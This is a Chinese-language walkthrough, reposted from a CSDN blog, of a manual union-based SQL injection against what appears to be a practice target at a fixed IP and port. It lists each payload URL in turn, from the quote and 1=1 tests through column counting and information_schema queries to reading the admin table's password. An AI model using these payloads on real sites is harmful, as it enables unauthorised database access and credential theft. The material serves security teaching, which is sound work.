一、檢測注入點
二、判斷是否存在 SQL 注入可能
三、數據庫爆破
四、字段爆破
五、數據庫表爆破
六、用戶名、密碼爆破
七、總結
一、檢測注入點
首先,在 http://120.203.13.75:6815/?id=1
目標站點頁面發現了 ?id,說明可以通過查詢 id=1 的內容來獲得頁面。
這相當於查詢語句:
select * from [表名] where id = '1';
二、判斷是否存在 SQL 注入可能
在 http://120.203.13.75:6815/?id=1
后加入一個 單引號,構成http://120.203.13.75:6815/?id=1',
此時的 SQL 查詢語句變為:
select * from 表名 where id =1';
SQL 語句未正確結束,因此返回了一個錯誤頁面,如圖所示:
繼續測試 and 1=1 和 and 1=2:
http://120.203.13.75:6815/?id=1 and 1=1
這相當於 SQL 查詢語句:
select * from 表名 where id =1 and 1=1;
SQL 語句用 and 連接可以設置多個條件,目前返回一個永久為真的條件,因此返回了一個正常頁面,如圖所示:
http://120.203.13.75:6815/?id=1 and 1=2
這相當於 SQL 查詢語句:
select select * from 表名 where id =1 and 1=2;
SQL語句用 and 連接可以設置多個條件,目前返回一個永久為假的條件,因此頁面返回錯誤,如圖所示:
說明 SQL 語句被執行,程序沒有對敏感字符進行過濾。現在可以確定此處是一個 SQL 注入點,程序對帶入的參數沒有做任何處理,直接帶到數據庫的查詢語句中。
三、數據庫爆破
現在要判斷數據庫類型以及版本,構造語句如下:
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
發現返回正常頁面,說明數據庫是 MySQL,並且版本大於 4.0,支持 union 查詢,反之是 4.0 以下版本或者其他類型數據庫。
四、字段爆破
進一步猜測數據注入位置:
http://120.203.13.75:6815/?id=1 order by 10
這相當於 SQL 查詢語句:
select * from [表名] where id =1 order by 10;
返回錯誤,說明字段小於 10:
http://120.203.13.75:6815/?id=1 order by 2
這相當於SQL查詢語句:
select * from [表名] where id =1 order by 2;
返回正常頁面,說明字段是 2。當字段數很大時,二分查找法的優勢比較明顯,效率更高。
五、數據庫表爆破
確定字段之后,現在要構造聯合查詢語句 (union select),語句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
可以發現在頁面中,原先的內容沒有了,取而代之的是返回的數字 2,這個數字指的是我們可以把聯合查詢的對應位置替換為想要查詢的關鍵字,比如版本,數據庫名稱,主要是用來探測 web 系統的信息。
查詢數據庫版本:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()
得到結果為版本號 5.5.53,如圖所示:
六、用戶名、密碼爆破
現在把 2 替換掉,先查詢數據庫名稱,構造語句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()
瀏覽器返回了 maoshe,說明這個網站的數據庫名稱是 maoshe,如圖所示:
用同樣的手法查詢表名,構造語句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'
瀏覽器返回 admin,說明表名為 admin,如圖所示:
再用同樣的手法猜測密碼和用戶名字段,構造語句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin
返回失敗,說明字段名稱不是 pwd。
重新猜測密碼字段,構造語句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin
返回成功,說明密碼字段名稱為 password,且登錄密碼為 hellohack。
七、總結
要想實現注入,首先要找到 注入點。使用聯合查詢語句時,需要將語句寫在一個閉合的空間內,這個空間就是通過查找注入點並添加的一個閉合的引號內。在網站中使用的查詢語句在 MySQL 中都是可以實現的。
基本步驟:
-
- 找到注入點;
- 判斷當前表的字段;
- 用聯合語句查看哪幾位是有效位;
- 查看當前數據庫中有哪些表;
- 查看表中有哪些屬性;
- 查看表中具體的數據信息。
轉自:https://blog.csdn.net/carol980206/article/details/87905304